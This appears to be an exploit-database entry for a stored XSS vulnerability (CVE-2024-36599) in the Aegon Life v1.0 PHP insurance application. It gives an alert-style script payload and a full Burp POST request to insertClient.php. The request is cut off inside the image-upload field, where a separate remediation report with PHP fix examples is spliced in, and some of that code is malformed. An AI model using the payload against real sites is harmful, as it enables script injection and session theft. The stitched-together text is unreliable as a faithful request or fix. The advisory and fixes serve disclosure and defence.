AEGON LIFE v1.0 Life Insurance Management System - Stored cross-site scripting (XSS)
# Exploit Title: Life Insurance Management Stored System- cross-site scripting (XSS)
# Exploit Author: Aslam Anwar Mahimkar
# Date: 18-05-2024
# Category: Web application
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/life-insurance-management-system-in-php/
# Version: AEGON LIFE v1.0
# Tested on: Linux
# CVE: CVE-2024-36599
# Description:
----------------
A stored cross-site scripting (XSS) vulnerability in Aegon Life v1.0 allows attackers to execute arbitrary web scripts via a crafted payload injected into the name parameter at insertClient.php.
# Payload:
----------------
<script>alert(document.domain)</script>
# Attack Vectors:
-------------------------
To exploit this vulnerability use <script>alert(document.domain)</script> when user visit Client.php we can see the XSS.
# Burp Suite Request:
----------------------------
POST /lims/insertClient.php HTTP/1.1
Host: localhost
Content-Length: 30423
Cache-Control: max-age=0
sec-ch-ua: "Not-A.Brand";v="99", "Chromium";v="124"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymKfAe0x95923LzQH
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/lims/addClient.php
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=v6g7shnk1mm5vq6i63lklck78n
Connection: close
------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="client_id"
1716051159
------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="client_password"
password
------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="name"
<script>alert(document.domain)</script>
------WebKitFormBoundarymKfAe0x95923LzQH
Content-Disposition: form-data; name="fileToUpload"; filename="runme.jpg_original"
Content-Type: application/octet-stream
ÿØÿà AEGON LIFE v1.0 — Stored Cross‑Site Scripting (XSS) (CVE-2024-36599)
Summary
A stored cross‑site scripting (XSS) vulnerability was identified in Aegon Life v1.0. The application accepts user-supplied values for the client name field in insertClient.php and stores them in the database without proper output encoding. When other users view the client listing page (e.g., Client.php), the injected script executes in their browsers. This report covers the vulnerability, impact, detection, and practical remediation steps for developers and administrators.
Vulnerability description
Stored XSS occurs when untrusted input is saved to persistent storage (database, log, etc.) and later rendered into HTML pages without correct encoding or sanitization. In this case the name parameter is stored and later echoed into a page directly, allowing an attacker to inject JavaScript.
<script>alert(document.domain)</script>This minimal payload demonstrates script execution when the stored value is rendered as HTML.
Proof‑of‑concept behavior (high level)
- An attacker submits a crafted payload as the client name via the add/insert client form.
- The application stores the payload in the database (insertClient.php).
- When an authenticated user (or any user with access to Client.php) views the list/detail page, the page renders the stored name without encoding and the browser executes the script.
Impact
- Execution of arbitrary JavaScript in the context of the victim user (session theft, CSRF token access, UI manipulation).
- Potential account takeover if session cookies are accessible or other sensitive actions can be triggered via scripting.
- Reputational damage and regulatory concerns if customer data or financial workflows are impacted.
Root cause
The root cause is missing output encoding when rendering user-supplied content and insufficient input validation. The server stores raw input and later injects it into HTML pages without escaping HTML special characters.
Secure coding principles to apply
- Encode data on output based on the context (HTML, attribute, JavaScript, URL, CSS).
- Prefer whitelisting input (allow only expected characters) rather than blacklisting.
- Validate and sanitize file uploads and store uploaded files outside the web root.
- Use Content Security Policy (CSP) and secure HTTP headers to reduce impact.
- Keep authentication cookies flagged HttpOnly and SameSite and use secure session handling.
Fix examples
1) Proper output encoding (most important)
<!-- Vulnerable rendering example (do NOT use) -->
<td>?php echo $row['name']; ?></td>
Explanation: Directly echoing user data into HTML allows stored XSS if the value contains HTML/JS.
<!-- Secure rendering using htmlspecialchars -->
<td>?php echo htmlspecialchars($row['name'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); ?></td>
Explanation: htmlspecialchars converts special characters (<, >, ", ', &) into HTML entities so the browser treats them as text rather than markup. Use ENT_QUOTES and UTF‑8 for robust behavior.
2) Server‑side validation + prepared statements for insertClient.php
<?php
// Example using PDO: validate and insert a client safely
$name = trim($_POST['name'] ?? '');
// Whitelist validation: allow letters, numbers, spaces, hyphens, apostrophes
if (!preg_match('/^[\p{L}\p{N}\s\-\']{1,100}$/u', $name)) {
die('Invalid name.');
}
$password = $_POST['client_password'] ?? '';
// Validate and hash password properly
$hash = password_hash($password, PASSWORD_DEFAULT);
$pdo = new PDO('mysql:host=localhost;dbname=lims;charset=utf8mb4', 'user', 'pass', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
$stmt = $pdo->prepare('INSERT INTO clients (client_id, client_password, name, avatar) VALUES (:id, :pwd, :name, :avatar)');
$stmt->execute([
':id' => $_POST['client_id'],
':pwd' => $hash,
':name' => $name,
':avatar' => $storedFilename
]);
?>
Explanation: Input is validated with a whitelist regex and names are limited in length. Prepared statements prevent SQL injection. Passwords are hashed with password_hash. Note: do not rely on input sanitization for XSS protection — always encode on output as shown earlier.
3) File upload handling
<?php
// Example: safe file upload steps (simplified)
$allowedExt = ['jpg','jpeg','png'];
$uploaded = $_FILES['fileToUpload'] ?? null;
if ($uploaded && $uploaded['error'] === UPLOAD_ERR_OK) {
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->file($uploaded['tmp_name']);
$ext = strtolower(pathinfo($uploaded['name'], PATHINFO_EXTENSION));
if (!in_array($ext, $allowedExt, true)) { die('Invalid extension'); }
// Validate MIME type
if (!in_array($mime, ['image/jpeg','image/png'], true)) { die('Invalid file type'); }
// Generate a random name and place outside webroot (or restrict web server)
$newName = bin2hex(random_bytes(16)) . '.' . $ext;
$destination = __DIR__ . '/uploads/' . $newName;
move_uploaded_file($uploaded['tmp_name'], $destination);
// Store $newName in DB, not the original filename
}
?>
Explanation: Verify both extension and MIME type, generate a random filename, store uploads outside the web root (or configure web server to disallow direct execution) and limit file size and permissions.
4) Content Security Policy and secure headers
<?php
// Example headers to mitigate XSS impact
header(\"Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none';\");
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('Referrer-Policy: no-referrer-when-downgrade');
?>
Explanation: CSP can significantly reduce the impact of XSS by forbidding inline scripts and only allowing scripts from trusted origins. It is a defense‑in‑depth control – still encode on output.
5) If HTML must be allowed: use a sanitizer library
// Use a robust sanitizer such as HTMLPurifier (PHP) when HTML is allowed
require_once '/path/to/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean_html = $purifier->purify($user_submitted_html);
Explanation: If your application needs to accept limited HTML (e.g., rich text), use a library designed to remove dangerous tags/attributes. Avoid creating ad‑hoc sanitizers.
Detection and testing guidance
- Search for places that render database fields directly into HTML templates — these are high‑risk spots.
- Test stored XSS by submitting a unique harmless string (e.g., <!--XSS:ID123-->) and verifying it appears verbatim in the returned HTML source and is not executed.
- Use automated scanners and manual review; however, do not rely solely on scanners — manual context analysis is required.
Operational mitigations
- Set session cookies with HttpOnly and SameSite=strict or lax, and Secure when using HTTPS.
- Educate developers on encoding vs validation: encode for output context; validate input by type/format/length.
- Deploy CSP and other secure headers to reduce the blast radius of any XSS that slips through.
- Perform code reviews and periodic security testing (SAST/DAST) focusing on output contexts.
Responsible disclosure and remediation steps for maintainers
- Purge known malicious entries from the database and notify affected users if exploitation is suspected.
- Patch application templates to use output encoding everywhere user data is displayed.
- Deploy CSP and hardening headers quickly, but do not treat them as a substitute for proper encoding and validation.
- Release a fixed version and coordinate disclosure. This issue has been assigned CVE-2024-36599.
Conclusion
Stored XSS is a high‑severity web vulnerability because payloads persist and can affect many users. The correct long‑term fix is consistent output encoding combined with input validation, secure file handling, and defense‑in‑depth headers such as CSP. Applying the code patterns above will mitigate this class of vulnerability across the application.